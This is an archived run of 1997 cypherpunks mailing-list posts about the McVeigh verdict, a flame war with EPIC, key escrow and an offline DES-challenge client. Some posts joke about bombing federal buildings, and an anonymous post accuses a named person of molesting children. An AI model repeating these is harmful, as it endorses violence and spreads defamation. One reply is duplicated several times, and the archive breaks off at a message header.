"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 05:04:58 +0800
To: cypherpunks@toad.com
Subject: Re: Guilty Verdict in Denver Show Trial
Message-ID: <199706022049.PAA19933@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199706021939.MAA09926@netcom18.netcom.com>, on 06/02/97 
   at 12:39 PM, mpd@netcom.com (Mike Duvos) said:

>Guilty on all 11 counts, of course. 

>Of course, once you eliminate the testimony coerced by holding witnesses
>for days and threatening them with the death penalty, the "bomb residue"
>invented by the FBI Crime Lab, and numerous other things, nothing even
>places the defendent at the site of the explosion, much less proves he
>was responsible for it. 

>Of course, to have the correct psychological effect on the Sheeple, it is
>not necessary that the government convict and execute the prepetrator. 
>Killing any government-hating militia-friendly scapegoat will do. 

>For extra credit, let's have a pool to predict the number of federal
>buildings which will blow up on the day of the execution. 

Is that how many will blow up or how many we would like to see blow up. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Charset: cp850
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Tue, 3 Jun 1997 04:33:28 +0800
To: cypherpunks@algebra.com
Subject: Re: Creating a unique ID number for a dollar
In-Reply-To: <v03102801afb8a60abb53@[207.167.93.63]>
Message-ID: <97Jun2.161752edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 2 Jun 1997, Tim May wrote:

> >somewhere).  Does the US Treasury issue replacement notes if the originals
> >are
> >damaged in printing, or does it just destroy the notes and leave it at that?
> 
> Don't know.
> 
> But certainly a dollar bill burned up as part of this protocol is unknown
> to them, and would of course never be reprinted (print runs are obviously
> done in large batches, with auto-indexing of numbers across sheets, so
> "one-offs" would never be done anyway).

Theoretically they will replace old currency with new currency if they can
recover 75% or some such high value of the surface area.  Carefully cut
out the serial numbers and burn only them, then turn the damaged bills
back in for replacement (or give them away for someone else to do - I
think it is another one of those felonies to intentionally deface
currency).

You could also derive a number from the absolute time and location of the
issuer with a GPS device.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 3 Jun 1997 08:10:52 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706022324.QAA22066@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim
> of the OKC bomber.
> 
> Tim May: "broken eggs and all that"

  "They also serve, who only stand and hate."
              - Winston David Dukehill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 3 Jun 1997 08:14:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: May's Banal Rant
In-Reply-To: <v03007800afb8f136d5bc@[204.91.138.31]>
Message-ID: <199706022331.QAA17726@netcom3.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Marky Mark Rotten writes:

> Like I said, Tim May et al are behind the
> curve. You guys preach cyber anarchy but
> you're really armchair activists.

That's "Crypto Anarchy."

> - For anyone interested in getting the most
> recent EPIC Crypto Privacy Sourcebook, we
> should have a notice on our web site by the
> end of the week.

I'll put reading the latest EPIC (spit) publication on my list of very
important things to do, right after donating copiously to the National
Brotherhood of Jackbooted Thugs, and having my private parts steam-cleaned
by Cocksucker John Gilmore. 

Armchair activists indeed. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 3 Jun 1997 08:16:39 +0800
To: cypherpunks@toad.com
Subject: Email Filter Needed
Message-ID: <199706022338.QAA22668@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


  Someone needs to write an email filter that saves the headers from
the TruthMonger (et al) posts and deletes the message. (A similar case
could be made for mute Playboy centerfold candidates.)

X-Comments:  This email message is not from "Lee Harvey McVeigh': it was
X-Comments: sent by an anonymous asshole using a remailer.
X-Comments:  Send all complaints about abuse of this remailer to
X-Comments: the Oklahoma City Federal Building in a Ryder truck.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 06:08:36 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: May's Banal Rant
In-Reply-To: <v03007800afb8f136d5bc@[204.91.138.31]>
Message-ID: <199706022144.QAA20561@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03007800afb8f136d5bc@[204.91.138.31]>, on 06/02/97 
   at 05:06 PM, Marc Rotenberg <rotenberg@epic.org> said:



>I just came back from the 7th annual crypto
>conference that we've  organized in DC. Among
>the people who spoke were Carl Ellison, Eric
>Hughes, Matt Blaze, Peter Wayner, Cindy Cohn,
>Bruce Schneier. (Michael Froomkin was invited, but
>he's been out of the country. And Whit couldn't
>make it cause he's finishing his book.)

>Like I said, Tim May et al are behind the
>curve. You guys preach cyber anarchy but
>you're really armchair activists.

Well lets see,

While you were hobnobbing in DC today I did the following:

Spent time on the phone with PGP, Inc. going over various modifications
that I have been working on to the PGP code.

Spoke with 3 E-Mail vendors on the implementation of crypto to there
products.

Spent several hours on IRC disscussing with a group of IRC authors on the
design and implemntation of Private Encrypted channel to their IRC
products.

Exchanged E-Mail regurarding PGP/MIME update draft.

Spent the rest of the day writting & debuging crypto code.

So *EXACTLY* where are we behind the curve?

While you are playing your fanticy games in DC as self appointed defender
of "Truth, Justice, and the American Way" the rest of us were doing *REAL*
work bringing crypto to the masses.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Tue, 3 Jun 1997 05:22:18 +0800
To: Tim May <bryce@digicash.com
Subject: Re: May's Banal Rant
In-Reply-To: <199706021800.UAA12262@digicash.com>
Message-ID: <v03007800afb8f136d5bc@[204.91.138.31]>
MIME-Version: 1.0
Content-Type: text/plain




I just came back from the 7th annual crypto
conference that we've  organized in DC. Among
the people who spoke were Carl Ellison, Eric
Hughes, Matt Blaze, Peter Wayner, Cindy Cohn,
Bruce Schneier. (Michael Froomkin was invited, but
he's been out of the country. And Whit couldn't
make it cause he's finishing his book.)

Like I said, Tim May et al are behind the
curve. You guys preach cyber anarchy but
you're really armchair activists.

Marc.


- For anyone interested in getting the most
recent EPIC Crypto Privacy Sourcebook, we
should have a notice on our web site by the
end of the week.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Tue, 3 Jun 1997 08:28:29 +0800
To: frissell@panix.com
Subject: Re: Net Driver's License
In-Reply-To: <3.0.2.32.19970602151255.035e6b5c@panix.com>
Message-ID: <199706030016.RAA22310@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Duncan Frissell writes:
> >If an 'Internet drivers license' bill passed next week, it'd take at
> >least a year to get it repealed (probably much longer).  During
> >that time, if the government wished to do so, it could stage any
> >number of provocative acts, blame them on 'Internet Terrorists', then
> >get James Kallstron on tv to announce that the 'Terrorists' have been
> >caught via their Internet Drivers Licenses.

[...]

>Think about it.  An Internet Driver's License could only license a connection
> not communication itself (1st Amendment) and a single Net connection can
> connect to a network that is big on the other side as the rest of the Net
> itself.  Cheating is way too easy.

Oh, I'll agree with that.  I think that governments will do it anyhow.

>From a government standpoint it's ok if it's basically unenforceable, because
it makes a nice "dual-use" tool:  if someone the government doesn't
like is using a forged IDL, they can be busted for that.  Remember, 
wiretaps to gather evidence are now legal if they're "in good faith".
All it takes is one mention of your forged IDL, or a slip in your
code, and the secret's out.
If they do use a valid IDL, then they're traceable and can be
traffic-analyzed into revealing their "co-consiprators", then busted.

Of course these techniques will only be used against terrorists, never
against freedom fighters.

-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Tue, 3 Jun 1997 05:44:44 +0800
To: Tim May <froomkin@law.miami.edu
Subject: Re: May's Banal Rant
In-Reply-To: <6333@lawprof.demon.co.uk>
Message-ID: <v03007803afb8f6640d36@[204.91.138.31]>
MIME-Version: 1.0
Content-Type: text/plain



One other point about EPIC's role in the crypto debates -
we've done very little in the legislative realm other
than to argue for relaxation of crypto controls,
oppose DT, DT funding, and criminalization of crypto.
You want to find the folks cutting the deals, look
elsewhere.

Most of our work has been Freedom of Information Act
litigation, political organizing, and public education.
Among other things, we were the folks who got out most
of the documents about Clipper, DT, and even the DSS.

We've also organized political campaigns in the US
against Clipper, in Paris against TTP, and two
weeks ago in London against the DTI proposal.

See, another problem with the Libertarian view of the world is
you can't accept the idea that an organization in Washington,
DC does real government oversight or political advovacy. It
doesn't fit with your notecard-sized description of the world.

Free speech is wasted on closed minds.

Marc.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 3 Jun 1997 05:40:32 +0800
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Jim Bell Defense fund
In-Reply-To: <199706011641.LAA08290@manifold.algebra.com>
Message-ID: <Pine.SUN.3.96.970602172413.21910C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 1 Jun 1997, Igor Chudov @ home wrote:

> I guess everyone has forgotten about Jim Bell, but he is in no less
> need of help than he used to be.
> 
> I would like to know how to help him, and suggest to organize his
> legal defense fund.

Welp, just tell us where to send the $$$. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 06:58:37 +0800
To: cypherpunks@toad.com
Subject: Just Behind The Curve
Message-ID: <199706022243.RAA21540@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I almost forgot,

I rewrote a couple of paragraphs on my paper:

"Security Risks & Benefits in Implementing Automatic Processing of PKE in
Electronic Mail".

I even put in some pretty pictures so the tit suckers in DC would have
somthing to look at.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=zWEU
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Tue, 3 Jun 1997 05:52:34 +0800
To: cypherpunks@toad.com
Subject: McVeigh
Message-ID: <33934A8F.6114@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timothy McVeigh was found guilty on all counts today.  I am not
surprised.  People will believe anything the govt. says, and besides,
the governments lawyers were obviously more expensive than McVeigh's. 
This is a sad day for all anti-government haters.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Truth Monger <tm@dev.null>
Date: Tue, 3 Jun 1997 08:19:46 +0800
To: cypherpunks@toad.com
Subject: EPIC...Buy Guns!
Message-ID: <199706022335.RAA19670@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


I just watched a Detroit news report on the paramilitary and how the
'regular' citizens would have no problem with the government's desire
to criminalize the existence of paramilitary group.
  A reporter expressed the view that the government is "hesitant" to
"strongarm" legislation that limits the constitutional rights of the
paramilitarists because they fear the "trouble" that would arise.

  Perhaps we should approach the Michigan Militia to represent us in
crypto issues involving government regulation.
  "Reasonable compromise" should refer to promising your opponent a
quick death.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 3 Jun 1997 00:24:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: May's Banal Rant
Message-ID: <199706021558.RAA27508@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin wrote:
>I don't understand this.  Of all the alphabet soup privacy groups out
>there, EPIC is the one I consider most pro-privacy and anonymity other
>than the ACLU itself.  And EPIC knows the tech better, on the whole
>(although the ACLU is quite clued-up too).  It is true that EPIC is not
>absolutist on SAFE -- and I'm not quite sure that they are right to give
>even the inch they gave to get a mile -- but they're awfully good.
>
>Rotenburg should be a near-hero to most readers of this list.  Instead,
>canabalism.   Weird.  Very weird.

What most of us think is very weird is Rotenburg's apparent inability
to carry on a coherent dialogue.  Tim May raised several solid and
specific points.  We've got back ad hominem attacks on "libertarians".
Instead of name calling, Rotenburg would have done well to simply
justify (or change) his position.

At this point, Mr. Rotenburg and his supporters should explain exactly
what it is they do for us and how we can verify it.  "We arrived at a
compromise with the Senate" is not persuasive to most of the people on
this list.  When you believe that privacy will be promoted by hiring
more bureacrats the level of trust warranted is not high.  So, if EPIC
is doing any good, it had better be the kind of good we can monitor.

As for the ACLU, they are notoriously inconsistent when it comes to
the Constitution.  They seem to be pretty good with the First
Amendment, but that's about it.  They undermine the Second Amendment.
They campaign for welfare on the basis that it is a prerequisite for
the exercise of civil rights.  They sue aspirin manufacturers for
labelling their products in English.  They push "fair" credit laws.
Etc. Etc.

We don't need friends like the ACLU or, it appears, EPIC.

Dr. Roberts





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 3 Jun 1997 11:02:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: McVeigh
In-Reply-To: <199706030020.TAA04784@manifold.algebra.com>
Message-ID: <199706030103.SAA24459@netcom3.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor writes:

> Is that the end of the story? I understand it that he can appeal, and
> will. 

One of the major flaws of the Criminal Justice System in this country is
that one can only appeal based on procedural issues.  No one, after a
trial has concluded, may ever challenge the trial verdict. They may only
argue that the proper ritual was not followed, and higher courts are very
reluctant to disagree with the actions of lower courts, preferring instead
to state that the errors committed would likely not have affected the
outcome. 

It gets even worse than that.  Many states, Texas amongst them, have a
time limit for the introduction of new evidence after a trial, even if it
completely exonerates the defendent, and are prefectly willing to execute
someone as long as they have been given "due process," even if it has been
clearly demonstrated that they are not guilty. 

Thus the Sheeple are led by their politicians to ridicule the numerous
often-frivilous appeals defendents engage in, irrespective of the fact
that frivilous appeals are the only ones allowed under law, the defendant
having no right at all to suggest that twelve Sheeple being performed for
by the local prosecutor produced something other than a Biblically inerant
verdict. 

McVeigh therefore has no chance at all at getting another hearing on the
facts of the case.  He might claim that the confidential attorney/client
work product stolen from the defense team computer on the eve of the trial
and touted in papers nationwide as a "confession"  poisoned the jury pool. 
But even that has little luck at succeeding. 

The only difference between Tim McVeigh and Richard Jewell is that the
government stopped the hatchet job on Jewell in midstream. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Tue, 3 Jun 1997 06:31:44 +0800
To: cypherpunks@toad.com
Subject: From Inter@ctive Week: Denning no longer backing key escrow?
Message-ID: <3.0.2.32.19970602181107.007398c8@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Here's an interesting question:
What happens when your star technical witness tells others she's no longer 
your witness at all?
Denning now says she has doubts...

(Responses? I'm no longer on cypherpunks, so mail me directly.

Cheers

 - Will

Administration Supporter Having Second Thoughts On Encryption Plan

By Will Rodger 1:30 PM EDT

Nixon went to China. Constantine converted to Christianity. Napoleon crowned 
himself emperor.

So why can't Dorothy Denning be a cypherpunk?

That's the question encryption mavens ask as the Georgetown University 
computer scientist slowly lets the word out: She won't back government plans 
for key recovery, key escrow or anything else alleged to increase national 
security until backers show that the benefits of controls on encryption 
outweighs those of letting free market forces govern its use.

That's a far cry from the way she once talked about encryption technology. As 
recently as this year Denning was pegged as a strong backer of keeping 
controls on a wide range of computer-security products.

"Maybe export controls should be lifted," Denning said. "But I'm not saying 
that all controls should be lifted. I've gotten into a state where I don't 
know and I'm not sure that I ever knew."

Denning may be the only prominent cryptographer to support government control 
of encryption technology, the underlying technology behind nearly all 
Internet security devices that scramble information so even the wiliest 
hacker is powerless to decode it. As the author of the first widely read 
textbook on the subject, her opinion carries weight with at least some in the 
encryption community.

Since encryption can be used to defeat lawful wiretaps and other electronic 
searches and seizures, Denning backed law enforcement as it tried to fight 
encryption's spread abroad.

But now a host of objections to the Clinton administration's plan have turned 
the argument on its head. As the Internet becomes more popular for business 
use, encryption is more important than ever to keep hackers out. And a recent 
cryptographer's report suggesting that it would be far riskier to give 
governments spare keys to decode messages in a few places than not to have 
third party access at all has clearly shaken Denning's confidence.

Policy specialists in Washington and elsewhere have speculated that Denning 
would announce something soon, but none wants to push her for fear of 
alienating someone who could end up a potent ally.

"I don't think any close scientific observer of this debate can deny that 
there are real technical concerns raised by the Administration's position," 
said Alan Davidson, counsel with the Center for Democracy and Technology.

"I think its just best for us to sit back and not say anything at this 
point," added another prominent activist. "We don't want to force her hand."

Will Denning go over to the other side?

"I'm not advocating anything anymore," Denning said. "I support what the 
administration is doing because I really see them struggling with these 
things."
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Will Rodger
Washington Bureau Chief
Inter@ctive Week
A Ziff-Davis Publication
http://www.interactiveweek.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 3 Jun 1997 08:47:25 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: McVeigh
In-Reply-To: <199706022240.AAA16234@basement.replay.com>
Message-ID: <199706030020.TAA04784@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Anonymous wrote:
> 
> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
> > Timothy McVeigh was found guilty on all counts today.  I am not
> > surprised.  People will believe anything the govt. says, and besides,
> > the governments lawyers were obviously more expensive than McVeigh's. 
> > This is a sad day for all anti-government haters.
> 
> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
> of the OKC bomber.
> 
> Tim May: "broken eggs and all that"

Is that the end of the story? I understand it that he can appeal, and will.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Mon, 2 Jun 1997 15:58:38 +0800
To: cypherpunks@algebra.com
Subject: Re: Creating a unique ID number for a dollar
Message-ID: <86523747331750@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


Death rays from Mars made Tim May <tcmay@got.net> write:
 
>There's a way to generate a number for any person which is unique. It is not 
>shared by anyone else on the planet.
 
It's not guaranteed unique.  First, the dollar you use may be a forgery (why 
forge a dollar?  I don't know, maybe they're practicing on low-denomination 
notes which noone ever looks at closely so they can get the twenties and 
hundreds perfect.  I have a vague memory of someone doing this with either US 
dollars or UK pound notes some time ago, motivated by the "noone would ever 
bother forging a dollar/pound, so it has to be genuine" mentality).  In 
addition you'd have to specify "US dollar" rather than just "dollar" because, 
apart from the different serial number formats, some countries will reissue 
banknotes if the originals are damaged in printing, which leads to the 
possibility of two (legitimate) notes with the same serial number being in 
circulation if the original isn't destroyed as required (I have some of these 
replacement notes for now-defunct NZ dollar and two-dollar notes stashed away 
somewhere).  Does the US Treasury issue replacement notes if the originals are 
damaged in printing, or does it just destroy the notes and leave it at that?
 
Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 3 Jun 1997 02:11:17 +0800
To: cypherpunks@toad.com
Subject: Meet-in-the-middle attack
Message-ID: <199706021745.TAA08670@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. May sexually molests little children, farm animals, and 
inanimate objects.

             ,,,
            ($ $)
        -ooO-(_)-Ooo- Timmy C. May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 3 Jun 1997 08:13:35 +0800
To: cypherpunks@toad.com
Subject: Re: From Inter@ctive Week: Denning no longer backing key escrow?
Message-ID: <199706022353.TAA06529@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Will Rodger wrote:
> Here's an interesting question:
> What happens when your star technical witness tells others she's no longer
> your witness at all?

> Denning now says she has doubts...
> "Maybe export controls should be lifted," Denning said. "But I'm not saying
> that all controls should be lifted. I've gotten into a state where I don't
> know and I'm not sure that I ever knew."

  Translation: Denning is waiting for the check from Sun Microsystems
to clear before she finally makes up her mind.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Kirk Fort" <kirkfort@teleplex.net>
Date: Tue, 3 Jun 1997 08:21:17 +0800
To: <cypherpunks@toad.com>
Subject: okc trial
Message-ID: <199706030019.UAA24151@teleplex.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I hope Tim McVeigh frys. His friend Terry too.

"Dust off old sparky, its time to start cooking"

Kirk


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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 11:32:39 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706030310.WAA25254@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

In <199706030020.TAA04784@manifold.algebra.com>, on 06/02/97 
   at 07:20 PM, ichudov@algebra.com (Igor Chudov @ home) said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's. 
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
>> of the OKC bomber.
>> 
>> Tim May: "broken eggs and all that"

>Is that the end of the story? I understand it that he can appeal, and
>will.

>	- Igor.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 3 Jun 1997 02:29:13 +0800
To: cypherpunks@cyberpass.net
Subject: any off-line client for DES crack?
Message-ID: <199706021817.UAA13019@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



I'd like to train a couple of off-the-net computers to crack 
DES.  Unfortunately there appears to be no off-line client 
which uses files, so I can sneakernet a big batch of "try this
keyspace" requests, leave it running for a few weeks, and then
sneakernet the results back.


Yeah, I could hack it myself, but I thought I'd recommend the 
idea to the people who are actually coordinating the searches.


(Of course the user should be able to tell if the client has 
scored the key.  Some users may well decide not to bother 
sneakernetting "not found" results back to the Net, but will 
check to see if their client won.)


(In case you are worried, I am good net.citizen who trims 
Newsgroups: lines, is careful not to take the name of Kibo in 
vain, and who never trolls for newbies by posting "follow-up to 
this article to get free nude picture of Sandra Bullock!".  So
_I_, therefore, would faithfully sneakernet my "key not found"
results back to the Net.)


Regards,

Zooko Journeyman

Disclaimers follow:  I am not a crook.  NOT speaking for DigiCash 
or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 3 Jun 1997 08:06:07 +0800
To: vinnie@webstuff.apple.com
Subject: Re: Comments on the Macintosh
